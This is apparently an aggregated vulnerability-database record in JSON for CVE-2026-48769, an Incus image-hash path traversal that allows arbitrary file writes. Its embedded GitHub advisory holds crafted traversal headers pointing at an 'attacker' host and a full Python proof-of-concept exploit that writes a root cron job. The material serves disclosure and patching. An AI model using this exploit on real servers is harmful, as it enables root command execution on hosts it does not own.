{"id":"GHSA-f6m5-xw2g-xc4x","revision":null,"records":[{"revision":"f72a4a9f04844c4eb1e4b4acf8041dc9","observedAt":"2026-11-06T01:36:41.27+00:00","statement":{"source":"cve-program","id":"CVE-2026-48769","aliases":[],"title":"Incus has an arbitrary file write on its client due to trusted image hash","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.","state":0,"publishedAt":"2026-08-21T14:38:38.984+00:00","modifiedAt":"2026-11-05T23:46:37.913+00:00","affected":[{"ecosystem":"Vendor product","name":"incus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lxc\",\n                    \"product\": \"incus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.2.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"lxd","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"canonical\",\n                    \"product\": \"lxd\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.0, < 4.0.11\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.0.0, < 5.0.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.1.0, < 5.21.5\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 6.0.0, < 6.9.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x","https://github.com/canonical/lxd/security/advisories/GHSA-pjff-c2wc-f6jm"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48769","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48769","identifiers":["CVE-2026-48769"]},"retained":false,"historicalAffected":[]},{"revision":"5254eb7743e54a2284a9c07cec18fa01","observedAt":"2026-11-15T14:08:34.339+00:00","statement":{"source":"euvd","id":"EUVD-2026-63983","aliases":["CVE-2026-48769","GHSA-f6m5-xw2g-xc4x"],"title":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":null}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x","https://github.com/canonical/lxd/security/advisories/GHSA-pjff-c2wc-f6jm"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-63983","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 21, 2026, 2:38:38 PM","dateUpdated":"Nov 5, 2026, 11:46:37 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:11651-1","title":"incus-7.4-1.1 on GA media","vulnerabilityIds":["CVE-2026-39402","CVE-2026-47753","CVE-2026-48749","CVE-2026-48750","CVE-2026-48751","CVE-2026-48752","CVE-2026-48753","CVE-2026-48754","CVE-2026-48755","CVE-2026-48756","CVE-2026-48769","CVE-2026-55621","CVE-2026-55622","CVE-2026-62313","CVE-2026-62867","CVE-2026-62940","CVE-2026-62941","CVE-2026-63125","CVE-2026-63343","CVE-2026-81500","CVE-2026-81501"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-63983","identifiers":["EUVD-2026-63983","CVE-2026-48769","GHSA-f6m5-xw2g-xc4x"]},"retained":false,"historicalAffected":[]},{"revision":"cf6644f485804b8499aac9a3458a04aa","observedAt":"2026-11-06T15:03:32.566+00:00","statement":{"source":"nvd","id":"CVE-2026-48769","aliases":[],"title":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.","state":0,"publishedAt":"2026-08-21T15:16:41.347+00:00","modifiedAt":"2026-11-06T01:17:49.91+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-pjff-c2wc-f6jm","https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48769","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-20"],"productCriteria":[],"sourceDates":{"published":"2026-08-21T15:16:41.347","lastModified":"2026-11-06T01:17:49.910"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48769","identifiers":["CVE-2026-48769"]},"retained":false,"historicalAffected":[]},{"revision":"b825496a165f4d8e9cf8e45b44c839f6","observedAt":"2026-11-06T11:13:14.598+00:00","statement":{"source":"osv","id":"GHSA-f6m5-xw2g-xc4x","aliases":["CVE-2026-48769","GO-2026-5806"],"title":"Incus has an arbitrary file write on its client due to trusted image hash","description":"### Summary\n\nAn arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.\n\n\n### Details\n\n- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias`  and `Server`.\n- `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string.\n- `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`.\n- `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file.\n- `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated.\n- `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.\n\nA malicious image server returning something along the following will cause the arbitrary file write.\n\n```\nIncus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce\nIncus-Image-URL: http://attacker/payload\n```\n\n\n### PoC\n\nThe script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.\n\nThe following script was generated by an LLM.\n\n```\n#!/usr/bin/env python3\n\"\"\"Direct image URL hash path traversal to transient host cron write.\n\nFor `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.\n\nDefault mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.\n\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport http.client\nimport json\nimport shlex\nimport socket\nimport ssl\nimport sys\nimport threading\nimport time\nimport urllib.parse\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom typing import Any\n\n\nDEFAULT_SOCKET = \"/var/lib/incus/unix.socket\"\nDEFAULT_TRAVERSAL = \"../../../../etc/cron.d/incus-direct-image-url-rce\"\n\n\nclass UnixHTTPConnection(http.client.HTTPConnection):\n    def __init__(self, socket_path: str, timeout: int = 120):\n        super().__init__(\"incus\", timeout=timeout)\n        self.socket_path = socket_path\n\n    def connect(self) -> None:\n        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n        sock.settimeout(self.timeout)\n        sock.connect(self.socket_path)\n        self.sock = sock\n\n\nclass RCEHTTPServer(ThreadingHTTPServer):\n    hash_path: str\n    advertise_url: str\n    payload: bytes\n    hold_seconds: int\n    payload_requested: threading.Event\n\n\nclass DirectImageHandler(BaseHTTPRequestHandler):\n    protocol_version = \"HTTP/1.1\"\n    server_version = \"direct-image-rce/1.0\"\n\n    def log_message(self, fmt: str, *args: Any) -> None:\n        print(f\"[http] {self.address_string()} - {fmt % args}\", flush=True)\n\n    def do_HEAD(self) -> None:\n        if self.path != \"/stage\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        self.send_response(200)\n        self.send_header(\"Incus-Image-Hash\", srv.hash_path)\n        self.send_header(\"Incus-Image-URL\", srv.advertise_url.rstrip(\"/\") + \"/payload\")\n        self.send_header(\"Connection\", \"close\")\n        self.end_headers()\n\n    def do_GET(self) -> None:\n        if self.path != \"/payload\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        srv.payload_requested.set()\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Cache-Control\", \"no-store\")\n        self.end_headers()\n        self.wfile.write(srv.payload)\n        self.wfile.flush()\n        print(f\"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s\", flush=True)\n        time.sleep(srv.hold_seconds)\n        self.close_connection = True\n\n\ndef quote(value: str) -> str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef tls_context(args: argparse.Namespace) -> ssl.SSLContext:\n    if args.insecure:\n        ctx = ssl._create_unverified_context()\n    else:\n        ctx = ssl.create_default_context(cafile=args.cacert)\n\n    if args.cert:\n        ctx.load_cert_chain(args.cert, args.key)\n\n    return ctx\n\n\ndef connection(args: argparse.Namespace) -> http.client.HTTPConnection:\n    if args.url:\n        parsed = urllib.parse.urlparse(args.url)\n        if parsed.scheme != \"https\":\n            raise ValueError(\"--url must use https\")\n\n        return http.client.HTTPSConnection(\n            parsed.hostname,\n            parsed.port or 8443,\n            timeout=args.timeout,\n            context=tls_context(args),\n        )\n\n    return UnixHTTPConnection(args.socket, timeout=args.timeout)\n\n\ndef request_json(\n    args: argparse.Namespace,\n    method: str,\n    path: str,\n    obj: dict[str, Any] | None,\n    allow_error: bool = False,\n) -> tuple[int, dict[str, Any]]:\n    body = None if obj is None else json.dumps(obj).encode(\"utf-8\")\n    headers = {\"Host\": \"incus\"}\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/json\"\n\n    conn = connection(args)\n    conn.request(method, path, body=body, headers=headers)\n    resp = conn.getresponse()\n    raw = resp.read()\n    conn.close()\n\n    try:\n        data = json.loads(raw) if raw else {}\n    except json.JSONDecodeError:\n        data = {\"raw\": raw.decode(\"utf-8\", \"replace\")}\n\n    if not allow_error and (resp.status >= 400 or data.get(\"type\") == \"error\"):\n        raise RuntimeError(f\"{method} {path} failed with HTTP {resp.status}: {data}\")\n\n    return resp.status, data\n\n\ndef images_path(project: str) -> str:\n    return \"/1.0/images?project=\" + quote(project)\n\n\ndef cron_payload(command: str) -> bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode(\"utf-8\")\n\n\ndef image_url_body(project_url: str, public: bool) -> dict[str, Any]:\n    return {\n        \"source\": {\n            \"type\": \"url\",\n            \"url\": project_url.rstrip(\"/\") + \"/stage\",\n        },\n        \"public\": public,\n    }\n\n\ndef start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:\n    server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)\n    server.hash_path = args.hash_path\n    server.advertise_url = args.advertise_url\n    server.payload = payload\n    server.hold_seconds = args.hold_seconds\n    server.payload_requested = threading.Event()\n\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser(description=\"Incus direct image URL hash traversal cron RCE PoC\")\n    parser.add_argument(\"--socket\", default=DEFAULT_SOCKET, help=\"Incus Unix socket\")\n    parser.add_argument(\"--url\", help=\"remote Incus URL, for example https://host.ctf:8443\")\n    parser.add_argument(\"--cert\", help=\"client certificate for remote Incus\")\n    parser.add_argument(\"--key\", help=\"client private key for remote Incus\")\n    parser.add_argument(\"--cacert\", help=\"CA certificate for remote Incus\")\n    parser.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    parser.add_argument(\"--timeout\", type=int, default=120, help=\"Incus request timeout\")\n    parser.add_argument(\"--project\", default=\"default\", help=\"project used for image import\")\n    parser.add_argument(\"--public\", action=\"store_true\", help=\"mark imported image public\")\n    parser.add_argument(\"--listen-host\", default=\"0.0.0.0\", help=\"HTTP listen address\")\n    parser.add_argument(\"--listen-port\", type=int, default=8088, help=\"HTTP listen port\")\n    parser.add_argument(\"--advertise-url\", default=\"http://127.0.0.1:8088\", help=\"URL reachable by the Incus daemon\")\n    parser.add_argument(\"--hash-path\", default=DEFAULT_TRAVERSAL, help=\"value returned in Incus-Image-Hash\")\n    parser.add_argument(\"--hold-seconds\", type=int, default=90, help=\"keep payload response open for this many seconds\")\n    parser.add_argument(\"--command\", default=\"id > /tmp/incus-direct-image-url-rce\", help=\"command cron should run\")\n    parser.add_argument(\"--execute-trigger\", action=\"store_true\", help=\"start server and trigger POST /1.0/images\")\n    parser.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute-trigger\")\n    args = parser.parse_args()\n\n    if bool(args.cert) != bool(args.key):\n        parser.error(\"--cert and --key must be supplied together\")\n    if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:\n        parser.error(\"--execute-trigger requires --yes-i-understand-this-writes-host-file\")\n\n    payload = cron_payload(args.command)\n    trigger_body = image_url_body(args.advertise_url, args.public)\n\n    print(\"[*] exploit primitive: direct image URL unvalidated hash path host write\")\n    print(f\"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage\")\n    print(f\"[*] returned Incus-Image-Hash: {args.hash_path}\")\n    print(f\"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload\")\n    print(f\"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce\")\n    print(f\"[*] cron payload: {payload.decode().rstrip()}\")\n    print(f\"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}\")\n\n    if not args.execute_trigger:\n        print(\"[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test\")\n        return 0\n\n    server = start_server(args, payload)\n    print(f\"[*] HTTP server listening on {args.listen_host}:{args.listen_port}\")\n\n    status, data = request_json(args, \"POST\", images_path(args.project), trigger_body, allow_error=True)\n    print(f\"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}\")\n\n    if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):\n        print(\"[*] daemon requested payload; cron file should exist until the held response is released\")\n    else:\n        print(\"[!] daemon did not request payload within the wait window\")\n\n    print(\"[*] leaving HTTP server active for the remaining hold window\")\n    time.sleep(max(0, args.hold_seconds - 30))\n    server.shutdown()\n    server.server_close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nAn arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.","state":0,"publishedAt":"2026-06-26T19:13:18+00:00","modifiedAt":"2026-11-06T10:57:01.4882651+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-pjff-c2wc-f6jm","https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x","https://nvd.nist.gov/vuln/detail/CVE-2026-48769","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-f6m5-xw2g-xc4x","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f6m5-xw2g-xc4x","identifiers":["GHSA-f6m5-xw2g-xc4x","CVE-2026-48769","GO-2026-5806"]},"retained":false,"historicalAffected":[]},{"revision":"0e64289a918d4f248dc73da9a9ce3cdc","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5806","aliases":["CVE-2026-48769","GHSA-f6m5-xw2g-xc4x"],"title":"Incus has an arbitrary file write on its client due to trusted image hash in github.com/lxc/incus","description":"Incus has an arbitrary file write on its client due to trusted image hash in github.com/lxc/incus","state":0,"publishedAt":"2026-07-07T16:41:46+00:00","modifiedAt":"2026-07-07T20:30:17.6897329+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5806","license":"OSV · upstream source license applies","key":"osv:GO-2026-5806","identifiers":["GO-2026-5806","CVE-2026-48769","GHSA-f6m5-xw2g-xc4x"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T19:44:19.9938399+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T19:44:19.9938399+00:00","lastSuccessAt":"2026-11-15T19:44:20.2016227+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:20.2016237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-6fc3c2ba902d8763be7b1141e9be97dc9202b7023001a80bc4ce5ca58164e97c","complete":true,"records":425849,"lastAttemptAt":"2026-11-15T19:44:16.7564889+00:00","lastSuccessAt":"2026-11-15T19:44:16.7314012+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:16.7564889+00:00","snapshotPublishedAt":"2026-11-15T19:27:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e20648f5e49d4ef2b794bd9578c389bd","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T19:55:07.4704496+00:00","lastSuccessAt":"2026-11-15T19:55:06.45+00:00","error":"52 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T19:55:06.45+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13822,"expectedIdentifiers":13874,"failedIdentifiers":52},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T19:44:19.9938399+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T19:44:19.9938399+00:00","lastSuccessAt":"2026-11-15T19:44:20.2027927+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:20.2027932+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9caea03f945849429dd63b61fcc163ed","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T19:46:14.9136905+00:00","lastSuccessAt":"2026-11-15T19:46:14.909+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:46:14.909+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T19:44:19.5897026+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:19.5897026+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T19:44:18.729666+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:18.729666+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T19:44:19.9211863+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:19.9211863+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T19:44:18.8782423+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:18.8782423+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}